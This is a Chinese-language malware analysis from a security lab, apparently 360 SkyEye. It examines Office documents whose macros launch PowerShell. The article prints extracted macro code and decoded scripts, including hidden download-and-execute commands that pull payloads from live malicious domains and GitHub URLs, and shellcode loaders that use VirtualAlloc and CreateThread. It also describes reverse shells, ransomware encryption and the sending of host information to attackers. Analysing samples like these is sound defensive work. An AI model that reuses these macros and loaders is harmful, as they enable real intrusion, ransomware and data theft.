Author:360天眼實驗室
人在做,天在看。
技術從來都是中性的,被用來行善還是作惡完全取決于運用它的人。原子能可以用來發電為大眾提供清潔能源,也可以用來制造能毀滅全人類的核武器,這不是一個完善的世界,于是我們既有核電站也有了核武器。
Powershell,曾經Windows系統管理員的稱手工具,在惡意代碼制造和傳播者手里也被玩得花樣百出。由于Powershell的可執行框架部分是系統的組件不可能被查殺,而驅動它的腳本是非PE的而非常難以通過靜態方法判定惡意性,同時腳本可以非常小巧而在系統底層的支持下功能卻可以非常強大,這使利用Powershell的惡意代碼繞過常規的病毒防護對系統為所欲為。因此,360天眼實驗室近期看到此類惡意代碼泛濫成災就毫不奇怪,事實上,我們甚至看到所跟蹤的APT團伙也開始轉向Powershell。
本文我們向大家展示一些看到的實際惡意代碼的例子。
這里我們基于360威脅情報中心的數據,對接觸到的Powershell惡意代碼按分類各舉一例。
我們知道現在勒索軟件以其直接的變現方式現在已成為黑產的寵兒,像雨后春筍那樣冒出來的勒索軟件中,我們看到了使用純Powershell腳本實現的例子。
樣本MD5:ea7775da99367ac89f70f2a95c7f8e8e
這是一個通過Word文檔中嵌入宏以誘導執行的勒索軟件,使用工具提取出其中的宏,內容如下:
#!vb
"vba_code":?"Private Sub Document_Open() Dim FGHNBVRGHJJGFDSDUUUU As String FGHNBVRGHJJGFDSDUUUU = "cmd /K " + "pow" + "er" + "Sh" + "ell.e" + "x" + "e -WindowStyle hiddeN -ExecuTionPolicy BypasS -noprofile (New-Object System.Net.WebClient).DownloadFile('http://rxlawyer.in/file.php','%TEMP%\Y.ps1'); poWerShEll.exe -WindowStyle hiddeN -ExecutionPolicy Bypass -noprofile -file %TEMP%\Y.ps1" Shell FGHNBVRGHJJGFDSDUUUU, 0 MsgBox ("Module could not be found.") FGHHH = 7 * 2 DGHhhdRGHH = 9 + 23 End Sub"
宏的功能是下載http://rxlawyer.in/file.php
到本地的temp目錄下,并用Powershell運行這個文件。而下載回來的file.php本質上是一個ps的腳本文件,MD5為:dd180477d6a0bb6ce3c29344546ebdfc 。
勒索者腳本的實現原理是:通過隨機生成加密密鑰與用戶ID,將加密密鑰與用戶ID信息上傳到服務器進行備份,在用戶機器上使用對稱算法將用戶的文檔進行加密。因為密鑰為隨機生成,除非擁有攻擊者服務器上備份的密鑰,否則很難將被加密的文檔進行還原。
腳本的原貌為:
可見,腳本做了混淆處理,簡單處理以后歸納出的腳本主要執行過程如下:
1.生成三個隨機數,分別表示加密密鑰、加密用的鹽、UUID
把上面生成隨機數發送到服務器中保存
2.用隨機數生成加密容器
3.得到磁盤中的所有的指定后綴的文件
調用Get-PSDrive
,得到所有文件名
#!powershell
$folder= gdr|where {$_.Free}|Sort-Object -Descending
4.加密這些文件的前2048個字節后寫回文件
5.解碼Base64得到提示勒索的html文件
在html文件的尾部添加上贖回密鑰用的UUID及當前時間
此類樣本大多使用網絡上的nishang開源工具包生成的攻擊文件。攻擊文件以Word、Excel、CHM、LNK等格式的文件為載體,嵌入Payload,實現獲得反彈Shell等功能,實現對系統的控制。
樣本MD5:929d104ae3f02129bbf9fa3c5cb8f7a1
文件打開后,會顯示文件損壞,用來迷惑用戶,Word中的宏卻悄然運行了。
宏的內容為:
#!vb
Sub AutoOpen()
Dim x
x = "powershell -window hidden -enc JAAxACA[……]APQA” _
& "wB3AGUAcgBzAGgAZQBsAGwAIAAkADIAIAAkAGUAIgA7AH0A"
Shell ("POWERSHELL.EXE " & x)
Dim title As String
title = "Critical Microsoft Office Error"
Dim msg As String
Dim intResponse As Integer
msg = "This document appears to be corrupt or missing critical rows in order to restore. Please restore this file from a backup."
intResponse = MsgBox(msg, 16, title)
Application.Quit
End Sub
將宏中的字符串,用Base64解碼后,得到內容如下:
#!powershell
$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbf,0x34,0xff,0xf9,0x18,0xd9,0xeb,0xd9,0x74,[……] ,0xda,0x73,0x5d;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));$2 = "-enc ";if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 $2 $e"}else{;iex "& powershell $2 $e";}
將其中的shellcode提取出來進行分析得知,這段shellcode的主要功能是反向連接內網IP 192.168.1.30的4444端口。
另一個與上述樣本有著類似功能的樣本的MD5為:1e39753fd56f17010ac62b1d84b5e650
從文件中提取出來的宏為:
而這四個函數對應的功能分別為
用Powershell下載invoke-shellcode.ps后,通過invoke-shellcode函數調用指定Payload windows/meterpreter/reverse_https 建立反彈shell,反彈的地址為98.100.108.133,端口為443
其中部分代碼為:
將Powershell建立反彈Shell的功能用VBS實現后,保存在C:\Users\Public\10-D.vbs文件中
新建HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load注冊表,值指定為C:\Users\Public\10-D.vbs
調用C:\Users\Public\10-D.vbs
而有時,為了抵抗殺毒軟件的追殺,樣本通常會進行Base64編碼。
MD5:c49ee3fb4897dd1cdab1d0ae4fe55988
下面為提取出來的宏內容,可見代碼使用了Base64編碼:
#!vb
"vba_code":?"Sub Workbook_Open() 'VBA arch detect suggested by "T" Dim Command As String Dim str As String Dim exec As String Arch = Environ("PROCESSOR_ARCHITECTURE") windir = Environ("windir") If Arch = "AMD64" Then Command = windir + "\syswow64\windowspowershell\v1.0\powershell.exe" Else Command = "powershell.exe" End If str = "nVRtb9tGDP7uX0EIN0BCLEV+aZZYCNDUadZsdZrFbtLNMIazRFvXnO" str = str + "6U08mR4/q/j3I0x/06f9CZFI/PQ/Kh2BOcw3unNb2U8jrLtb"[……]str = str + "TjdLP9Fw==" exec = Command + " -NoP -NonI -W Hidden -Exec Bypass -Comm" exec = exec + "and ""Invoke-Expression $(New-Object IO.StreamRea" exec = exec + "
解碼后的內容為:
#!vb
$q = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpP
arameter, uint dwCreationFlags, IntPtr lpThreadId);
"@
try{$d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
function c($v){ return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum % 0x100 -eq 92)}
function t {$f = "";1..3|foreach-object{$f+= $d[(get-random -maximum $d.Length)]};return $f;}
function e { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}}
function g{ for ($i=0;$i -lt 64;$i++){$h = t;$k = $d | e; foreach ($l in $k){$s = $h + $l; if (c($s)) { return $s }}}return "9vXU";}
[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$m = New-Object System.Net.WebClient;
$m.Headers.Add("user-agent", "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)");$n = g; [Byte[]] $p = $m.DownloadData("https://192.168.0.105:4444/$n
" )
$o = Add-Type -memberDefinition $q -Name "Win32" -namespace Win32Functions -passthru
$x=$o::VirtualAlloc(0,$p.Length,0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($p, 0, [IntPtr]($x.ToInt32()), $p.Length)
$o::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}
腳本的功能是通過g函數隨機生成四位的字符,從內網網址下載后加載執行https://192.168.0.105:4444/xxxx
(其中xxxx為隨機四位字符)
這里連接的是192.168.0.105為內網IP,此樣本很可能是滲透者進行內網滲透攻擊的測試樣本。此類樣本還有很多:
使用LNK文件,建立反彈shell的樣本
為了快速提升網站流量、Alexa排名、淘寶網店訪問量、博客人氣、每日訪問IP、PV、UV等,有些網站站長會采取非常規的引流方法,采用軟件在后臺模擬人正常訪問網頁的點擊動作而達到提升流量的目的。
樣本MD5:5f8dc4db8a658b7ba185c2f038f3f075
文檔打開后里面只有“test by c”這幾個文字
提取出文檔中的宏中的加密字符解密后得到可讀的ps腳本如下
#!powershell
$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,[……] ,0x31,0x32,0x38,0x2e,0x31,0x39,0x36,0x2e,0x38,0x34,0x00,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if([IntPtr]::Size -eq 8){$x86 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";$cmd = "-nop -noni -enc ";iex "& $x86 $cmd $e"}else{$cmd = "-nop -noni -enc";iex "& powershell $cmd $e";}
可見,ps腳本的主要功能就是執行Shellcode,這段Shellcode的功能就是調用wininet.dll中的函數進行連接138.128.196.84地址的443端口。而138.128.196.84地址正為流量寶類的軟件用的地址。
樣本對通過宏調用Powershell下載PE文件在受影響的系統上檢查是否為關心的目標并執行進一步地操作,具備針對性攻擊的特點。
樣本MD5:fba6b329876533f28d317e60fe53c8d3
從樣本中抽取出的宏主要是根據系統版本下載相應的文件執行
#!vb
Sub AutoOpen()
x1 = "Download"
h = "Str"
o = "power" & "shell" & ".exe"
Const HIDDEN_WINDOW = 0
strComputer = "."
abcdef = h & "ing"
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
objProcess.Create o & " -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c if ([IntPtr]::size -eq 4) {(new-object Net.WebClient)." & x1 & abcdef & "('http://rabbitons.pw/cache') | iex } else {(new-object Net.WebClient)." & x1 & abcdef & "('http://rabbitons.pw/css') | iex}", Null, objConfig, intProcessID
其中的對應32位系統的cache文件的內容如下:
我們對Shellcode進行簡單分析:
1.在內存中解密,生成一個PE文件,在內存中展開跳到入口點處執行,將PE文件的.BSS區段進行解碼,解碼算法如下:
解密后的結果為:
2.判斷是不是64位系統
判斷虛擬機
3.用FindFirstUrlCacheEntry和FindNextUrlCacheEntry遍歷IE臨時文件目錄?,用于判斷用戶是否是攻擊者的目標用戶
4.計算用戶和電腦信息的HASH
隨后B03938處創建線程進行下面的動作
判斷ipconfig -all
命令中是否有.edu、school、hospital、colledge、health、nurse等字符串
調用cmd /C ""ipconfig -all > C:\DOCUME~1\yyyyy\LOCALS~1\Temp\xxxx.TMP
(xxx代表隨機數)生成文件,檢測.edu、school、hospital、colledge、health、nurse等字符串
5.遍歷系統中的進程,檢測有否指定hash的進程正在運行
從IE緩存中查找用戶是不是訪問過這些網址:
通過WININET.FindFirstUrlCacheEntryW , WININET.FindNextUrlCacheEntryW WININET.FindCloseUrlCache
得到net view
命令返回值中是否有pos、store、shop、sale等字符串
發送用戶信息,并下載相對應的惡意程序:
其中,用這種手法的惡意樣本還有如下:
樣本HASH | 系統版本 | 下載地址 |
---|---|---|
f0483b9cfb8deb7ff97962b30fc779ad | 32位 | https://github.com/flowsdem/found/raw/master/rost |
64位 | https://github.com/flowsdem/found/raw/master/virst | |
fba6b329876533f28d317e60fe53c8d3 | 32位 | http://rabbitons.pw/cache |
64位 | http://rabbitons.pw/css | |
62967bf585eef49f065bac233b506b36 | 32位 | https://github.com/minifl147/flue/raw/master/memo |
64位 | https://github.com/minifl147/flue/raw/master/adv |
樣本中的宏代碼下載執行信息收集類的Powershell腳本,很可能是某些針對性攻擊的前導。
樣本MD5:f7c3c7df2e7761eceff991bf457ed5b9
提取出來的宏代碼為:
下載一個名為Get-Info-2.ps1的腳本,腳本功能是將本機的IP地址、domainname、username、usbid等發送到遠端服務器中。
天眼實驗室再次提醒用戶,此類惡意軟件主要依賴通過微軟的Office文檔傳播,用戶應該確保宏不默認啟用,提防任何來自不受信任來源的文件,當打開文件系統提示要使用宏時務必慎重。同時要盡量選用可靠的安全軟件進行防范,如無必要不要關閉安全軟件,當發現系統出現異常情況,應及時查殺木馬,盡可能避免各類惡意代碼的騷擾。